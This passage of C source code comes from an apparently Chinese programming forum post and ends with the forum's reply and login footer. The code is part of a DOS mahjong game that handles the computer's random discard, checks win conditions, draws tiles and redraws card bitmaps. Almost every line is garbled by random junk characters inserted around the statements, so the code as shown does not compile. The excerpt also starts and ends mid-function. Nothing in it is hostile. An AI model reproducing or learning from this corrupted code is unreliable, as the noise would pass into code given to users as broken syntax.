$ K: E& z1 B4 l# Lkkk=0;
' G! C* L, g* p* ?computer.m=computer.m-2;
) x' Y7 F+ K* g8 h2 p. o8 V8 Gwhile(kkk<=computer.m); \: q# l+ o; R7 Z! S
{
9 Z' M0 S; ~9 F, fcomputer.pp[kkk].k=comp.pp[kkk].k;
2 D$ t0 A( Y* x- _computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: t/ ~6 I; J5 _computer.pp[kkk].number=comp.pp[kkk].number;9 K* S' {# Q) S$ l; k( Y
kkk++;; T2 L7 L0 o( ^2 q/ N9 }' B5 j
}5 \+ o/ A( W1 \! U' r- U
ll=0;
5 E4 p& a1 Q c" ltemp=random(computer.m); /*出牌等待完善*/
$ B8 S) t7 m* ]! s6 }zyy=zyy+9280+20;9 w6 j( K9 m1 p2 a3 P# ]
showcbmp(temp);+ Q7 U* n! E" u
zyy=zyy-9280;+ O+ D& t L- ?7 U1 z
/*****/& O, `/ V8 z) J! j
rgznme(temp);' ~: b( `0 p! |. {: G: N7 A" ]
panduan();7 v* o/ ^5 r3 c; J2 B% _+ W
if(me.m==0)+ Z7 A$ }% z9 t! h/ n& N" v+ x
if(second==1 && threes==0) L/ ^/ ^3 A3 p( g: o
printf("you win!");5 o* L: ]6 J( y+ d0 E0 h0 N
if(me.m==3)
! c6 O1 P6 D6 M, N3 m) zif(second==1 && threes==1)( X" T2 o8 t& k2 g& x
printf("you win!");! s% ~: k" U& n# l
if(me.m==6)! U4 ]+ M& N2 o7 Z+ g; \) f# y
if(second==1 && threes==2)3 c2 U" t0 ^. R. I k
printf("you win!");
! i! f# W! U% cif(me.m==9)( H* H5 N8 ~5 G3 O8 R3 x/ ^/ J
if(second==1 && threes==3)3 s# c8 [( E/ p5 L% F6 @" U6 @
printf("you win!");7 X N0 V' ^: k' _% |1 m' h+ ^$ ^
if(me.m==12)$ }$ u$ q8 o( g! @6 ~4 I; i& [
if(second==1 && threes==4)9 l- ~9 [. W! x" h+ P
printf("you win!");; ` m4 ?% @ ?8 J" ^

& J% M/ u& f! Y. E% q2 skkk=0;' ^3 r5 b, S! q
kkkk=0;
/ [: g- D( s) ywhile(kkk<=computer.m)$ Q: O q+ ]$ m% d. T
{
 e e, D0 }7 D: s% ]if(kkk!=temp)& j3 F* Y6 d0 j, r& G' e, t% C/ @) n$ N, X
{
4 o% v+ a' C0 H. A& | [comp.pp[kkkk].k=computer.pp[kkk].k;
+ a! O8 w6 T( k) k5 ^comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 C+ y/ [8 _8 Y5 K) a$ G0 K( gcomp.pp[kkkk].number=computer.pp[kkk].number;' U& O7 s: Y# n2 Q7 I
kkkk++;+ |+ k" V9 }' L, b! V5 I) A% C6 I$ j
}
( d2 T& r$ E% Q+ J0 Pelse
8 R5 b4 { t4 x6 C; X' \" u vm[computer.pp[kkk].number].data1=1;
5 R& M* ^; i5 V Pkkk++;- m" N. e+ q# a; b5 E; {$ B
}& {8 f7 v( R& s) H% {# a
kkk=0;3 C% r( I& d; k, `# x3 l
computer.m=computer.m-1;, A" t9 {/ F2 S" W
while(kkk<=computer.m)
# f4 _, I( ~: X# g* _$ @) R{, V) X( j- {8 {) \ [& N8 Z$ Q
computer.pp[kkk].k=comp.pp[kkk].k;% ~0 G) z% D, U& z
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
& z z- T6 q3 b) m+ I d$ lcomputer.pp[kkk].number=comp.pp[kkk].number;! D# w6 B% l( s* ?
kkk++;- Y; N0 V) O: T$ E! @- m
}
2 q1 y% v* N0 x4 gfillRectangle(0,0,320,30,0);. x/ f& N- J8 V, v) {& j+ I
n=computer.m;
7 R) H3 X$ ~4 i: q* @" rll=0;
* \! {' z e: A$ tzy=0;, \: F( A% x4 a( ]7 Q3 F
while(ll<=n)! M q: t! k$ U( Q0 d
{ ?4 [' \" `8 f1 F
zy=zy+20;) J$ d Z2 s7 F
showybmp(ll);
' h5 P! y% f O; x# B+ bll++;9 |( N8 [) v, P: x8 i7 A$ W: X% O
}' N5 F; s/ v% x

# o0 B7 y9 U# s$ {- T; s# y: qgetch();
sing=0;
) \8 u" e6 R$ x9 osing1=1;5 n. E* m, W+ t
}
# a" K( s+ W6 v; Q7 Y& nif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/$ _; {: u+ w3 E5 F1 [( d; A) T
{
% ` H8 c* n/ u7 fkk=0;3 R* W" I' H2 d6 l
h=me.pp[every].number;
9 m: `" R) W; b4 m7 i, am[h].data1=1; /*此牌已经无用*/
% f) G" | }4 H0 h# zif(sing1!=1)
8 L4 Z/ X3 R" Y9 @ @{
- |6 k5 [& ?; Y+ t) Hzyy=zyy+9280+20;
7 K. c: @) y+ D& t/ Bshowbmpd(every);+ J; h" l& @7 ~+ Q! W* h
zyy=zyy-9280;
: s, M3 }% `6 F: M; j& p9 U# j- e}
1 F( {8 w' I& @" L7 L. V2 k1 K( ywhile(kk!=1)+ w2 Y: z' q3 t4 P1 V7 C" [
{
+ U/ B. d) @; i+ J+ f: V9 y9 s& Ztemp=random(136);" w) v& x- B! V* r
if(m[temp].data2==0 && m[temp].data1==0)8 g" f1 _& Q% a* x# T4 d
{/ D% _9 ~+ x9 l/ m+ v9 |9 k
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
6 ~1 C( x$ O, t9 p- nme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/6 b7 u* b6 i" Y' @7 Y% @
me.pp[every].number=temp; /*第几张，用来排序*/# D! H, g* b) J
m[temp].data2=1; /*判断牌是谁的*/
4 ^" L( Q% u: }5 O1 W5 k# N! f5 Vkk=1;
+ ^1 S- n7 Y! a' V5 v/ e}
/ J3 e& L4 Y2 F. k; ]if(kk==0) /*判断如果又选择了，就从新再选*/
; X* K7 r$ q5 H5 h0 `% k! O( \kk=0;$ Y4 T& J7 P2 u1 r: s
}
, C) B6 w. x) i2 z! o}; T7 m" ^" F$ ^2 u
sing=0;0 ~, N. M, j" n4 F
sing1=0;% w' X |5 k- f# Q- y
melipai();: ^5 \5 r4 K3 y% K/ Z
n=13;
8 R" j5 b Z" rz1=54400;9 E; O( U8 j5 W- X& M: q7 M
l=0;
- g( s* ~+ [; h3 {g=z;
! e( }9 Q1 ?- x ?( Rwhile(l<n)' C+ K7 l( H- B0 P! n# p
{ z=0;
7 U- y& u. P- Uz1=z1+20;$ w+ Y$ M4 a/ t8 f
showbmp(l);: O4 B8 F+ L. I/ b' a% J
l++;
8 ~% D) ?2 V5 P$ M/ \% m' X% k}
% J. y0 C) b. ]$ O; y( S) M+ }5 Uz1=0;
5 i0 D$ f1 p- d# ]1 t* e+ J9 ?z=g;
3 p, U( _: \3 ~8 @ S Z: j}
3 A0 y# t: \% ~keyy=0;8 u- P% Y3 y( H# n0 W4 k
}$ D9 X9 g& q9 i* T" z( F

7 I# G8 O4 q# \# U+ M0 Vgetch();
, T( }0 l" n* g% z. w0 |; _OUTVGA; _ F+ I) c$ r' q4 c0 i7 N
} ; n: F$ f& \8 C e9 Q6 q( J
</DIV>

我也说一句

发表

使用道具举报

返回列表

帐号		密码		只需要一步，快速开始		注册地址	找回密码

C语言技术文章

浏览过的版块

发帖功臣

元老勋章

QQ

电话咨询

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务|